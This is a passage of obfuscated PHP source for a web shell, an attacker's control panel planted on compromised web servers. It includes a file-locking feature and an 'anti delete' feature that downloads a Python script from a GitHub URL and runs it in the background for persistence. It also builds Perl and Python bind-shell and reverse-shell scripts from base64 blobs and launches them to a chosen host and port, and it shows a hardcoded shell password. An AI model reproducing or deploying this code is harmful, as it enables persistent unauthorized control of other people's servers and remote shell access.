0\x27\x20\166\x61\154\x75\x65\75\47{$lokasi}\x27\40\143\x6c\141\x73\163\75\x27\165\160\47\x20\x73\164\171\x6c\x65\75\47\167\x69\144\x74\150\72\40\x34\x35\60\x70\170\x3b\40\x63\x75\x72\x73\x6f\162\x3a\x20\x70\157\151\156\164\145\x72\x3b\40\142\157\162\144\x65\x72\x2d\x63\x6f\x6c\x6f\x72\72\x20\43\x66\146\146\47\40\162\145\x71\x75\151\162\145\144\x3e\74\142\162\76\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x3c\x66\x6f\156\x74\x20\x73\x69\x7a\x65\75\x27\x35\x27\x3e\x46\151\154\145\156\141\155\145\72\x20\74\x2f\146\157\x6e\x74\x3e\74\x69\x6e\160\165\x74\x20\x74\x79\160\145\75\47\164\145\170\164\47\x20\156\141\x6d\145\x3d\x27\x70\146\47\x20\x73\x69\172\145\x3d\47\65\x30\47\x20\150\x65\151\x67\x68\x74\x3d\47\61\60\47\40\x70\x6c\x61\x63\x65\150\x6f\x6c\x64\x65\162\x3d\47\151\156\144\x65\x78\x2e\x70\x68\x70\x27\40\143\154\141\x73\x73\75\47\165\x70\47\40\163\164\x79\154\145\75\x27\167\x69\x64\x74\150\x3a\40\64\x35\x30\x70\x78\x3b\x20\143\165\162\163\157\162\72\x20\x70\x6f\x69\156\x74\145\162\x3b\x20\x62\157\162\x64\145\162\55\x63\x6f\154\157\x72\x3a\40\x23\x66\146\x66\47\40\x72\x65\x71\165\151\162\x65\x64\x3e\74\x62\x72\76\xa\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x3c\x69\156\160\x75\x74\40\164\x79\x70\x65\75\47\163\165\142\x6d\x69\x74\x27\40\156\141\x6d\145\75\x27\x64\47\40\x76\x61\x6c\165\x65\75\x27\114\157\143\x6b\40\116\x6f\x77\x21\x27\x3e\12\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x3c\x2f\x66\x6f\x72\155\76\74\57\x63\145\156\164\145\x72\76\74\x62\162\x3e"; if (isset($_POST["\165\x72\154"])) { $url = $_POST["\165\x72\x6c"]; $pf = $_POST["\x70\x66"]; $fix_path = "{$url}\57{$pf}"; $d = $_POST["\144"]; } if (isset($d)) { exec("\x63\150\155\x6f\x64\40\64\64\64\x20{$fix_path}"); shell_exec("\x63\x68\155\x6f\144\40\x34\64\x34\x20{$fix_path}"); system("\x63\150\155\x6f\x64\x20\64\x34\x34\40{$fix_path}"); sleep(4); echo "\x3c\143\145\156\x74\x65\x72\x3e\74\x70\x3e\x3c\x66\x6f\156\164\40\x63\157\154\x6f\x72\75\42\147\x72\145\x65\x6e\42\x3e" . $pf . "\x20\150\141\x73\40\142\x65\x65\156\40\x73\165\x63\x63\145\163\x73\146\x75\x6c\x6c\171\40\x6c\x6f\143\153\145\x64\56\56\56\x2e\x3c\57\146\x6f\156\x74\76\x3c\57\x70\x3e"; echo "\x3c\57\x74\x64\76\74\x2f\164\162\x3e\74\57\x74\141\x62\154\x65\x3e"; } } elseif (isset($_GET["\x61\x6e\164\x69\x6b\151\x6c\x6c\163\x68\145\x6c\154"])) { echo "\x3c\x68\164\x6d\x6c\x3e\x3c\x62\x72\76\xa\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\74\143\145\x6e\164\x65\162\76\74\146\157\156\x74\40\146\x61\x63\145\75\47\102\x75\x6e\147\145\x65\x20\x4f\165\x74\x6c\151\x6e\145\x27\40\163\151\172\x65\x3d\47\62\x35\160\170\47\76\101\x6e\164\151\x20\x44\145\154\x65\164\x65\x20\x53\150\145\154\x6c\74\57\x66\x6f\x6e\164\x3e\74\x62\x72\76\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x3c\x66\157\x6e\164\40\x63\x6f\154\x6f\162\x3d\x27\171\x65\154\x6c\x6f\167\47\x20\x73\x69\172\145\75\x27\63\x27\76\102\x79\x20\x75\x73\x69\x6e\x67\40\x74\x68\x69\x73\x20\x66\x65\x61\164\x75\162\x65\40\171\157\x75\162\40\x73\150\145\154\x6c\40\x77\x69\154\154\x20\156\x6f\x74\40\142\145\x20\x64\x65\x6c\x65\x74\145\144\x2c\40\151\146\x20\151\164\40\x69\163\x20\144\x65\154\x65\164\145\x64\40\151\x74\x20\167\151\154\x6c\x20\x72\x65\141\160\x70\x65\x61\x72\x2e\74\x2f\x66\x6f\x6e\x74\76\74\142\x72\76\12\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\74\x66\157\156\x74\40\143\157\x6c\157\162\75\47\x79\145\x6c\154\157\167\47\40\x73\x69\172\x65\75\47\x33\47\76\151\146\x20\x77\151\x74\150\x69\x6e\x20\64\60\x20\163\x65\x63\157\x6e\x64\163\x20\x74\150\x65\x20\x70\x61\x67\x65\40\x69\163\x20\163\164\x69\154\x6c\40\154\x6f\x61\144\x69\x6e\x67\56\56\56\40\120\154\145\x61\x73\x65\40\x72\x65\x66\x72\x65\163\150\40\141\156\144\x20\157\160\145\156\x20\x3c\x66\157\x6e\164\40\x63\x6f\154\x6f\162\x3d\x27\143\x79\141\x6e\x27\x3e{$lokasi}\57\x79\x6f\x75\162\x66\x69\x6c\145\x6e\141\155\145\74\57\146\x6f\156\164\x3e\x20\x69\156\40\x6e\145\167\x20\x62\x72\x6f\167\x73\145\x72\40\74\x2f\146\157\x6e\164\76\74\x62\x72\x3e\xa\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\40\x20\x3c\146\x6f\x6e\164\40\x63\x6f\154\x6f\x72\75\x27\x79\x65\x6c\x6c\157\x77\47\40\163\151\x7a\145\x3d\47\x33\x27\x3e\x2a\116\157\164\x65\40\72\x20\124\x68\x69\163\40\146\145\x61\x74\165\x72\x65\x20\x63\141\156\40\x6f\156\x6c\x79\x20\x62\x65\40\x75\163\145\x64\x20\x69\146\40\x70\171\x74\x68\x6f\156\40\74\146\157\156\x74\x20\x63\x6f\x6c\x6f\x72\x3d\47\x6c\151\155\145\x27\x3e\x4f\116\x3c\x2f\146\157\x6e\164\76\74\x2f\146\157\x6e\164\76\12\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\x3c\x62\162\x3e\12\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\74\146\x6f\162\x6d\x20\x6d\145\x74\x68\x6f\x64\x3d\47\160\157\x73\x74\47\40\x73\x74\171\x6c\145\x3d\47\x66\157\x6e\164\x2d\x73\x69\x7a\x65\x3a\x32\65\x70\170\73\47\76\12\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x3c\151\156\x70\165\x74\x20\164\171\160\145\75\x27\150\151\x64\144\145\156\x27\40\x6e\x61\155\x65\x3d\x27\165\162\154\47\40\x73\151\x7a\145\75\47\65\60\x27\40\150\x65\x69\147\x68\x74\75\47\x31\x30\47\x20\166\141\154\x75\145\75\x27{$lokasi}\47\x20\x63\154\x61\163\x73\75\47\x75\160\47\x20\x73\164\171\x6c\x65\75\x27\167\x69\144\164\150\72\40\64\65\60\160\170\73\40\143\165\x72\163\157\162\x3a\x20\x70\157\x69\156\164\145\162\x3b\x20\x62\x6f\162\144\145\162\x2d\143\157\x6c\157\162\72\x20\x23\x66\146\x66\x27\40\x72\145\x71\x75\151\162\145\x64\76\x3c\x62\x72\76\xa\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\74\146\x6f\x6e\x74\40\x73\151\172\145\x3d\x27\x35\47\x3e\x46\151\154\145\156\141\x6d\145\72\x20\x3c\x2f\146\157\156\x74\76\x3c\x69\156\x70\x75\x74\x20\x74\171\x70\145\x3d\47\164\x65\170\164\47\40\x6e\141\x6d\x65\x3d\x27\160\x66\47\40\x73\x69\172\x65\75\x27\x35\x30\47\x20\150\145\x69\147\150\164\75\47\61\60\x27\x20\160\154\141\143\x65\x68\157\x6c\x64\x65\x72\75\x27\x69\156\x64\145\170\56\x70\150\x70\47\x20\143\x6c\x61\x73\x73\75\x27\x75\160\47\40\163\x74\x79\154\x65\x3d\x27\x77\151\x64\x74\x68\x3a\x20\64\x35\x30\160\170\73\40\143\165\x72\163\157\162\x3a\40\x70\x6f\151\156\x74\x65\162\x3b\x20\142\x6f\162\144\145\x72\x2d\143\157\x6c\157\162\x3a\x20\43\146\146\146\x27\40\162\145\161\x75\x69\162\145\144\76\x3c\142\x72\76\xa\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x3c\151\156\x70\165\x74\x20\x74\171\160\x65\75\47\x73\165\x62\155\x69\164\47\40\x6e\x61\155\x65\x3d\x27\x64\47\40\x76\x61\154\165\x65\75\47\114\x6f\143\153\x20\116\157\x77\x21\47\x3e\xa\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x3c\57\146\x6f\162\155\x3e\x3c\57\x63\145\156\164\145\x72\76\74\142\x72\76"; if (isset($_POST["\165\x72\x6c"])) { $url = $_POST["\x75\162\154"]; $pf = $_POST["\160\x66"]; $fix_path = "{$url}\x2f{$pf}"; $pathdir = "\x64\x61\164\x61\40\x3d\40\47{$fix_path}\x27"; $pathini = @fopen("\57\164\155\x70\57\155\157\144\x75\x6c\x2e\160\171", "\x77"); $d = $_POST["\144"]; } if (isset($d)) { fwrite($pathini, $pathdir); exec("\x77\147\145\x74\40\55\161\x20\150\x74\x74\160\x73\x3a\57\x2f\162\141\x77\x2e\x67\x69\164\150\x75\x62\x75\x73\145\162\x63\x6f\x6e\x74\145\156\x74\56\143\157\155\57\170\172\x6f\165\x72\164\57\141\x6e\x74\151\x64\145\x6c\x65\x74\145\163\150\x65\x6c\x6c\57\x6d\x61\151\156\57\x73\x79\x73\x74\145\x6d\56\x70\x79\x20\55\117\40\x2f\164\155\160\x2f\x73\171\x73\164\145\155\56\160\x79"); exec("\156\157\x68\x75\x70\x20\160\171\x74\150\157\156\40\57\x74\155\160\57\x73\171\x73\164\x65\x6d\56\x70\171\x20\x26"); shell_exec("\156\157\150\x75\160\40\x70\171\164\x68\157\156\x20\57\164\x6d\160\x2f\x73\x79\x73\164\x65\155\x2e\160\171\40\x26"); system("\x6e\157\150\x75\160\40\160\171\164\150\x6f\156\40\57\164\x6d\x70\x2f\x73\x79\163\x74\x65\155\56\x70\171\40\x26"); sleep(5); exec("\x63\150\x6d\x6f\x64\x20\x34\x34\x34\40{$fix_path}"); shell_exec("\x63\150\x6d\157\144\x20\x34\x34\x34\40{$fix_path}"); system("\x63\150\155\157\144\x20\64\64\x34\40{$fix_path}"); exec("\x63\150\155\157\x64\x20\64\64\64\40\57\x74\155\160\x2f\x73\x79\163\164\x65\155\56\160\x79"); shell_exec("\x63\150\x6d\x6f\x64\40\64\64\64\x20\x2f\164\155\x70\57\x73\x79\x73\x74\145\x6d\x2e\160\171"); system("\x63\150\x6d\x6f\x64\40\x34\64\x34\40\57\x74\x6d\160\x2f\163\171\163\164\x65\155\x2e\160\x79"); exec("\x63\x68\155\x6f\x64\x20\x34\x34\x34\40\x2f\164\x6d\x70\x2f\x6d\157\x64\165\154\56\160\x79"); shell_exec("\143\x68\155\157\x64\x20\64\x34\64\40\57\x74\155\160\x2f\x6d\157\x64\x75\154\56\x70\x79"); system("\x63\x68\155\x6f\144\x20\64\x34\64\40\x2f\164\155\160\57\155\157\144\165\x6c\56\x70\x79"); sleep(5); echo "\74\x63\x65\x6e\x74\145\x72\76\x3c\160\x3e\74\146\157\156\x74\x20\143\157\154\157\162\75\47\x67\x72\145\145\156\x27\x3e\x3c\x61\40\150\162\x65\x66\x3d\x27{$fix_path}\47\76\47{$pf}\x27\x20\150\x61\x73\40\x62\145\145\156\40\163\165\x63\143\x65\163\x73\146\165\x6c\x6c\x79\40\x66\157\x72\145\166\x65\x72\56\56\x2e\x2e\74\57\x61\x3e\74\x2f\x66\x6f\x6e\x74\x3e\74\x2f\x70\x3e\x3c\x62\x72\x3e\74\x70\x3e\x50\141\x73\x73\40\x53\x68\x65\x6c\x6c\x3a\x20\x78\x7a\x6f\x75\x72\164\61\x32\63\x3c\x2f\x70\76"; echo "\x3c\57\164\x64\x3e\74\x2f\x74\x72\x3e\74\57\164\141\142\x6c\x65\x3e"; } } elseif (isset($_GET["\155\x6f\x72\145\x74\x6f\x6f\154\163"])) { echo "\x3c\x68\x74\x6d\x6c\x3e\x3c\142\x72\76\12\40\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x3c\x63\x65\x6e\x74\145\162\x3e\x3c\146\157\156\164\40\146\141\143\145\75\47\x42\165\156\147\145\145\x20\117\x75\x74\x6c\151\156\x65\x27\x20\163\151\172\145\75\47\62\x35\160\170\x27\76\103\157\x6d\x69\156\x67\40\x53\x6f\157\x6e\74\57\146\157\156\164\76\x3c\x62\162\76\xa\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x3c\146\157\156\x74\40\x63\x6f\x6c\x6f\x72\x3d\47\171\x65\154\154\157\x77\47\x20\163\x69\172\x65\75\x27\x33\x27\76\x2a\x4e\157\164\145\40\72\x20\x4a\157\x69\156\40\164\150\145\40\164\x65\x6c\x65\x67\x72\x61\x6d\40\143\150\141\x6e\156\145\x6c\40\x66\x6f\162\40\155\157\162\x65\x20\151\156\146\x6f\162\x6d\141\x74\151\x6f\156\x20\x3d\x3d\x3e\x20\74\x61\x20\x68\x72\x65\146\x3d\47\150\164\x74\160\x73\x3a\x2f\x2f\164\56\x6d\145\x2f\156\151\156\x7a\x69\156\167\x65\142\x73\150\x65\154\154\47\76\74\146\x6f\x6e\164\40\143\157\x6c\x6f\162\x3d\47\143\171\141\156\47\76\100\x4e\x69\x6e\172\151\x6e\x77\145\142\163\x68\145\x6c\154\74\x2f\x66\157\x6e\x74\76\74\57\x61\x3e\x3c\x2f\146\157\x6e\x74\x3e\74\142\162\x3e\74\x62\162\76\12\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x3c\x62\x72\x3e"; if (isset($_POST["\165\162\x6c"])) { $url = $_POST["\165\162\154"]; $pf = $_POST["\x70\x66"]; $fix_path = "{$url}\x2f{$pf}"; $d = $_POST["\144"]; } } elseif (isset($_GET["\142\x61\x63\x6b\x63\x6f\156\156\145\143\x74"])) { echo "\74\x62\162\76\74\142\x72\x3e\x3c\x63\145\156\164\x65\162\76\74\146\x6f\x72\155\x20\x6d\145\x74\x68\x6f\x64\75\x70\157\x73\164\76\xa\11\74\146\x6f\156\164\40\146\x61\143\145\x3d\47\x42\x75\156\147\145\145\x27\x20\163\x69\172\145\75\x27\66\x27\76\116\x65\x74\167\x6f\162\153\x20\x54\157\x6f\x6c\x73\74\x2f\146\157\156\164\76\x3c\142\x72\x2f\x3e\xa\74\x62\x72\76\11\x3c\x73\160\141\x6e\x3e\x42\x69\156\144\40\x70\157\x72\x74\40\x74\157\40\57\142\151\156\57\163\150\x20\133\120\x65\162\154\135\x3c\57\x73\160\x61\x6e\76\x3c\142\x72\57\x3e\12\x9\120\157\x72\164\x3a\x20\74\x69\156\160\x75\x74\x20\164\x79\x70\x65\x3d\x27\x74\145\170\164\x27\40\156\141\x6d\x65\x3d\47\x70\x6f\162\164\47\x20\143\154\x61\163\x73\x3d\x27\x75\x70\47\x20\x73\x74\x79\154\x65\75\47\x63\165\x72\x73\x6f\162\72\x20\x70\157\x69\x6e\x74\145\x72\x3b\40\x62\x6f\162\144\x65\162\55\143\x6f\x6c\157\162\x3a\x20\43\x66\146\x66\x27\x20\x76\141\154\165\145\x3d\47\x34\x34\63\47\76\40\74\x69\156\160\x75\164\40\x74\x79\x70\145\75\x73\165\142\x6d\151\x74\x20\156\x61\x6d\x65\x3d\x62\x70\154\x20\x76\x61\154\x75\x65\x3d\47\x3d\76\76\47\76\12\x3c\x62\162\76\x3c\x62\162\76\12\11\11\74\163\x70\x61\156\76\x42\141\x63\x6b\x2d\x63\157\x6e\156\145\x63\x74\x3c\57\163\x70\x61\x6e\76\74\x62\x72\57\x3e\12\x9\123\145\162\166\x65\162\72\x20\x3c\x69\156\160\x75\x74\40\164\171\160\145\75\47\x74\145\x78\164\x27\x20\156\x61\x6d\x65\x3d\47\163\145\162\166\x65\x72\x27\40\x63\x6c\x61\163\163\75\47\x75\x70\x27\40\163\x74\171\154\145\75\47\143\165\x72\163\157\162\72\x20\x70\x6f\x69\x6e\164\145\x72\x3b\40\x62\157\162\x64\x65\162\55\143\157\154\x6f\x72\x3a\x20\43\x66\x66\x66\x27\x20\x70\154\141\x63\x65\150\157\154\x64\145\162\x3d\x27" . $_SERVER["\x52\105\115\117\x54\105\137\x41\x44\x44\x52"] . "\47\x3e\x20\120\x6f\162\x74\72\40\x3c\x69\156\160\x75\164\x20\x74\171\x70\x65\75\47\x74\x65\170\164\x27\40\x6e\141\x6d\x65\75\x27\x70\x6f\x72\164\x27\40\x63\x6c\x61\x73\x73\75\x27\x75\x70\x27\x20\x73\164\x79\x6c\x65\x3d\x27\143\165\162\x73\x6f\x72\72\40\x70\x6f\x69\x6e\x74\145\162\x3b\x20\142\157\x72\144\x65\x72\x2d\143\157\154\157\162\72\40\43\146\146\x66\47\40\160\x6c\141\143\x65\x68\157\154\x64\145\x72\x3d\x27\61\x33\63\x37\47\x3e\x20\x3c\x73\145\x6c\145\x63\164\x20\x63\x6c\141\x73\163\75\x27\163\145\x6c\x65\x63\164\47\40\x6e\141\x6d\x65\75\47\x62\x61\x63\153\x63\x6f\156\x6e\145\143\164\47\x20\143\154\141\163\x73\x3d\x27\x75\160\x27\40\163\164\x79\154\145\75\x27\167\x69\144\x74\x68\x3a\40\x31\60\x30\x70\x78\73\x20\142\x6f\162\x64\145\x72\55\143\x6f\154\157\162\x3a\40\x23\x66\x66\x66\73\x27\40\150\x65\151\147\150\164\75\47\x31\60\x27\x3e\74\157\x70\164\x69\157\156\40\166\x61\x6c\x75\x65\x3d\x27\160\145\x72\x6c\47\x3e\120\x65\x72\x6c\x3c\57\x6f\x70\164\x69\x6f\x6e\76\74\x6f\160\x74\x69\x6f\x6e\x20\166\x61\x6c\165\145\75\47\x70\x68\x70\x27\x3e\120\x48\120\x3c\57\x6f\160\x74\x69\157\x6e\x3e\x3c\x6f\160\164\151\x6f\156\x20\166\x61\x6c\x75\145\75\x27\x70\x79\x74\150\x6f\156\47\76\120\171\x74\x68\x6f\x6e\74\x2f\x6f\160\x74\x69\x6f\x6e\76\74\x6f\x70\x74\151\x6f\x6e\x20\x76\141\x6c\x75\145\75\x27\162\x75\x62\x79\47\x3e\x52\165\142\x79\74\x2f\x6f\160\164\x69\157\x6e\x3e\74\x2f\163\x65\x6c\145\143\164\76\xa\x20\40\x20\74\151\156\160\x75\x74\x20\x74\x79\160\x65\75\x73\165\142\x6d\151\164\x20\x76\x61\154\165\145\75\x27\x3e\x3e\x27\76"; if (isset($_POST["\x62\160\x6c"])) { $bp = base64_decode("\111\x79\105\166\x64\x58\x4e\x79\114\x32\112\x70\142\151\x39\167\132\130\112\163\104\x51\157\153\125\x30\150\106\x54\105\167\x39\111\x69\x39\151\x61\x57\x34\166\143\x32\147\x67\114\x57\153\x69\x4f\x77\x30\113\141\127\x59\x67\113\x45\x42\102\x55\x6b\x64\x57\111\x44\167\x67\x4d\123\153\x67\x65\x79\x42\x6c\x65\x47\x6c\x30\113\104\105\160\x4f\x79\x42\x39\104\x51\x70\61\143\x32\125\147\x55\x32\x39\x6a\141\62\126\60\x4f\167\x30\x4b\x63\62\71\x6a\141\62\126\x30\113\106\x4d\x73\112\154\102\x47\x58\x30\x6c\x4f\x52\126\121\163\x4a\154\x4e\x50\x51\60\x74\x66\125\x31\x52\x53\x52\x55\106\116\x4c\x47\144\x6c\144\110\102\171\142\x33\x52\x76\131\156\154\x75\x59\127\61\154\x4b\103\144\60\x59\63\101\x6e\x4b\x53\x6b\147\146\110\x77\x67\132\107\154\x6c\111\x43\x4a\104\x59\x57\65\x30\x49\107\116\x79\132\x57\x46\60\x5a\123\x42\x7a\142\x32\116\162\132\130\122\x63\x62\x69\x49\67\104\121\x70\x7a\132\x58\122\172\x62\62\x4e\162\142\63\102\x30\113\106\x4d\x73\x55\x30\x39\115\x58\x31\116\120\x51\x30\x74\x46\x56\x43\x78\124\124\61\71\x53\x52\x56\x56\124\122\125\x46\x45\122\106\111\163\x4d\x53\x6b\67\x44\121\160\151\x61\127\x35\x6b\113\x46\115\x73\143\62\71\x6a\141\x32\x46\153\132\x48\112\x66\x61\x57\x34\157\112\x45\x46\x53\122\61\132\142\115\x46\60\163\123\x55\65\102\x52\105\122\x53\x58\60\106\117\x57\x53\x6b\x70\111\110\170\x38\x49\107\x52\160\x5a\123\101\151\121\x32\x46\165\144\x43\x42\x76\143\107\126\x75\111\110\102\166\143\x6e\122\143\x62\151\x49\67\x44\x51\x70\163\x61\x58\x4e\60\132\127\64\157\125\x79\167\x7a\x4b\123\x42\x38\146\x43\x42\x6b\x61\127\125\147\111\153\116\150\x62\156\x51\147\x62\x47\x6c\172\x64\107\126\x75\x49\x48\x42\166\x63\x6e\x52\143\142\x69\111\67\x44\x51\160\x33\x61\107\154\163\132\x53\147\170\x4b\x53\x42\67\104\121\157\x4a\x59\x57\116\x6a\132\130\102\60\x4b\x45\x4e\x50\x54\153\64\163\125\x79\x6b\67\104\121\x6f\112\141\127\x59\157\111\x53\147\x6b\143\x47\x6c\153\x50\x57\x5a\166\143\x6d\163\x70\x4b\x53\102\67\104\x51\x6f\x4a\103\x57\x52\160\x5a\123\101\x69\121\62\x46\165\x62\x6d\71\x30\x49\x47\132\x76\x63\x6d\x73\151\111\107\x6c\155\x49\103\147\150\132\x47\126\x6d\x61\x57\x35\x6c\132\x43\101\153\x63\107\154\153\x4b\124\163\116\103\x67\153\112\x62\63\102\154\x62\x69\x42\x54\x56\105\x52\x4a\124\x69\167\151\120\103\x5a\104\x54\60\x35\x4f\x49\x6a\163\116\103\x67\153\x4a\x62\x33\102\x6c\142\151\x42\x54\x56\x45\x52\120\126\126\121\x73\x49\152\x34\x6d\121\x30\71\x4f\124\151\x49\x37\104\x51\157\112\103\127\x39\x77\132\x57\64\147\x55\61\x52\105\122\x56\x4a\123\114\x43\x49\53\112\153\116\x50\x54\153\x34\151\117\167\x30\x4b\103\121\154\154\x65\107\126\x6a\111\103\x52\124\123\x45\x56\115\124\x43\102\70\146\x43\102\153\141\x57\125\x67\x63\x48\x4a\160\x62\156\121\x67\x51\x30\x39\117\124\151\x41\151\121\x32\106\x75\x64\103\102\x6c\x65\x47\126\152\x64\130\x52\154\x49\x43\122\x54\123\105\126\x4d\x54\106\x78\x75\x49\152\x73\x4e\x43\147\x6b\112\131\x32\x78\166\143\62\125\x67\121\x30\x39\117\x54\152\x73\x4e\x43\x67\x6b\112\x5a\130\x68\x70\144\103\101\167\117\167\x30\113\x43\x58\x30\116\x43\156\x30\x3d"); $brt = @fopen("\x62\160\x2e\160\x6c", "\167"); fwrite($brt, $bp); $out = exe("\x70\x65\162\x6c\40\142\x70\56\160\154\x20" . $_POST["\160\x6f\162\x74"] . "\x20\61\x3e\57\144\145\166\x2f\156\165\154\154\40\x32\76\x26\61\x20\x26"); sleep(1); echo "\x3c\x70\162\145\x3e{$out}\12" . exe("\160\163\40\141\x75\170\x20\174\40\x67\x72\x65\x70\x20\142\x70\56\160\154") . "\74\x2f\x70\x72\x65\x3e"; unlink("\x62\160\x2e\160\x6c"); } if ($_POST["\142\141\x63\153\143\x6f\156\x6e\x65\143\164"] == "\160\x65\162\x6c") { $bc = base64_decode("\111\x79\105\166\x64\130\x4e\x79\x4c\x32\112\160\142\151\71\x77\x5a\x58\112\163\x44\121\x70\61\143\62\125\x67\x55\62\x39\152\141\x32\x56\x30\117\x77\x30\113\112\107\x6c\150\x5a\107\x52\171\x50\127\154\165\132\130\x52\146\131\x58\x52\166\142\x69\147\x6b\x51\126\112\110\126\154\x73\167\130\123\153\147\x66\110\x77\x67\x5a\107\154\x6c\x4b\103\x4a\106\x63\156\x4a\166\x63\x6a\157\x67\112\103\x46\x63\142\151\x49\x70\117\167\60\x4b\x4a\x48\102\x68\132\x47\122\x79\x50\130\x4e\166\131\x32\164\x68\x5a\107\x52\x79\130\x32\154\x75\x4b\x43\122\x42\125\153\x64\x57\x57\172\106\144\x4c\x43\101\x6b\x61\127\106\153\x5a\110\x49\x70\x49\x48\170\70\x49\107\122\x70\x5a\x53\x67\151\122\130\112\x79\142\x33\x49\x36\111\x43\121\150\130\x47\64\x69\x4b\x54\163\x4e\103\151\122\167\x63\155\71\60\142\172\x31\156\x5a\130\122\x77\143\x6d\x39\60\x62\62\112\x35\142\x6d\106\164\x5a\123\x67\x6e\x64\107\x4e\x77\x4a\x79\153\x37\104\x51\160\172\142\62\116\x72\132\130\121\157\x55\x30\71\104\x53\x30\x56\125\x4c\x43\102\121\x52\154\x39\x4a\124\x6b\126\125\x4c\x43\x42\124\x54\x30\116\114\x58\x31\x4e\x55\125\x6b\126\x42\x54\x53\167\x67\x4a\110\102\x79\x62\63\x52\166\113\x53\x42\70\x66\103\x42\153\x61\x57\125\x6f\x49\x6b\x56\x79\x63\155\x39\x79\x4f\x69\101\x6b\x49\126\170\x75\111\151\x6b\x37\104\121\x70\152\x62\x32\65\x75\x5a\x57\x4e\x30\x4b\106\x4e\120\x51\x30\x74\106\126\x43\x77\x67\x4a\x48\x42\150\x5a\107\122\171\x4b\x53\102\x38\x66\x43\102\153\141\127\125\x6f\x49\153\x56\x79\143\x6d\x39\x79\117\151\101\153\111\126\x78\165\x49\x69\x6b\67\x44\121\160\x76\143\107\x56\165\x4b\x46\x4e\x55\x52\105\x6c\x4f\x4c\x43\101\x69\120\x69\x5a\x54\x54\x30\x4e\114\x52\x56\121\x69\113\x54\x73\x4e\x43\x6d\71\x77\132\127\64\x6f\x55\61\x52\105\x54\61\126\x55\114\103\x41\151\x50\151\132\124\x54\60\116\x4c\122\126\121\x69\113\x54\x73\x4e\103\155\71\167\x5a\127\x34\x6f\125\61\x52\x45\122\126\112\123\114\103\x41\151\x50\x69\132\x54\x54\60\116\114\x52\x56\x51\x69\113\124\163\x4e\103\156\116\x35\x63\63\122\154\142\123\x67\x6e\114\62\x4a\160\x62\x69\71\x7a\141\x43\x41\x74\x61\123\x63\160\117\167\x30\113\131\x32\x78\x76\x63\62\125\x6f\125\61\122\x45\x53\125\x34\x70\x4f\167\x30\113\131\62\170\166\x63\62\x55\157\x55\61\122\105\124\61\x56\x55\113\x54\163\x4e\103\x6d\x4e\x73\x62\63\116\x6c\113\106\x4e\x55\122\x45\x56\123\x55\151\153\67"); $plbc = @fopen("\x62\x63\x2e\x70\x6c", "\167"); fwrite($plbc, $bc); $out = exe("\x70\145\162\x6c\x20\x62\143\x2e\160\154\40" . $_POST["\163\145\162\x76\x65\x72"] . "\x20" . $_POST["\x70\x6f\162\164"] . "\40\61\x3e\x2f\x64\145\x76\57\x6e\165\x6c\x6c\x20\62\x3e\46\61\40\46"); sleep(1); echo "\x3c\160\162\x65\76{$out}\xa" . exe("\160\x73\x20\x61\x75\x78\x20\174\40\x67\162\145\160\40\142\x63\56\x70\154") . "\x3c\x2f\160\x72\x65\76"; unlink("\x62\x63\x2e\160\154"); } if ($_POST["\142\x61\143\x6b\x63\x6f\156\x6e\145\143\x74"] == "\160\171\x74\150\157\x6e") { $becaa = base64_decode("\111\171\105\x76\x64\x58\116\171\x4c\62\x4a\x70\142\151\71\x77\x65\x58\x52\x6f\x62\x32\x34\x4e\103\x69\116\x56\x63\x32\x46\x6e\x5a\124\x6f\147\143\x48\154\60\141\107\71\165\111\107\x5a\160\142\x47\x56\x75\131\x57\x31\154\114\x6e\102\x35\111\105\x68\120\x55\61\x51\147\x55\105\71\x53\126\101\60\113\x61\x57\x31\167\x62\x33\112\x30\x49\110\116\x35\x63\x79\167\147\143\x32\x39\x6a\141\62\x56\x30\x4c\103\102\166\143\171\x77\x67\x63\x33\126\151\x63\110\x4a\166\131\x32\x56\172\143\x77\60\x4b\141\x58\102\x73\x62\x79\x41\71\111\110\116\x35\143\171\x35\150\143\155\x64\62\127\x7a\x46\x64\x44\x51\x70\x77\x62\63\x4a\60\142\107\x38\147\120\123\x42\x70\142\x6e\x51\x6f\x63\63\x6c\172\x4c\x6d\106\171\x5a\x33\x5a\142\x4d\x6c\x30\160\104\x51\160\x7a\142\x32\x4e\162\x5a\130\x51\x75\x63\62\126\60\132\107\x56\155\x59\130\x56\x73\144\110\x52\160\142\x57\126\166\144\130\121\x6f\x4e\x6a\101\160\104\121\x70\x6b\x5a\x57\x59\x67\x63\x48\x6c\151\x59\x57\116\162\131\62\x39\165\x62\155\126\152\144\103\147\160\117\147\x30\113\111\103\x42\x30\x63\156\153\66\x44\121\x6f\x67\111\103\x41\x67\141\155\61\151\111\104\x30\147\x63\62\71\x6a\141\62\x56\60\114\x6e\x4e\x76\131\x32\x74\x6c\x64\103\x68\x7a\142\62\116\x72\x5a\130\121\165\x51\125\132\146\x53\125\x35\x46\126\x43\170\x7a\142\62\116\162\x5a\130\121\x75\125\x30\x39\x44\123\61\71\124\x56\x46\x4a\x46\x51\125\x30\x70\x44\x51\x6f\147\111\x43\101\x67\x61\155\x31\151\114\x6d\116\166\x62\155\65\x6c\131\63\x51\x6f\113\107\154\x77\x62\x47\x38\163\x63\107\71\171\x64\107\x78\x76\x4b\x53\153\x4e\x43\151\101\x67\x49\x43\102\161\142\127\111\x75\143\x32\126\x75\132\103\x67\156\x4a\x79\144\143\x62\154\x42\65\x64\107\x68\x76\x62\151\102\x43\x59\127\x4e\162\121\62\71\x75\142\x6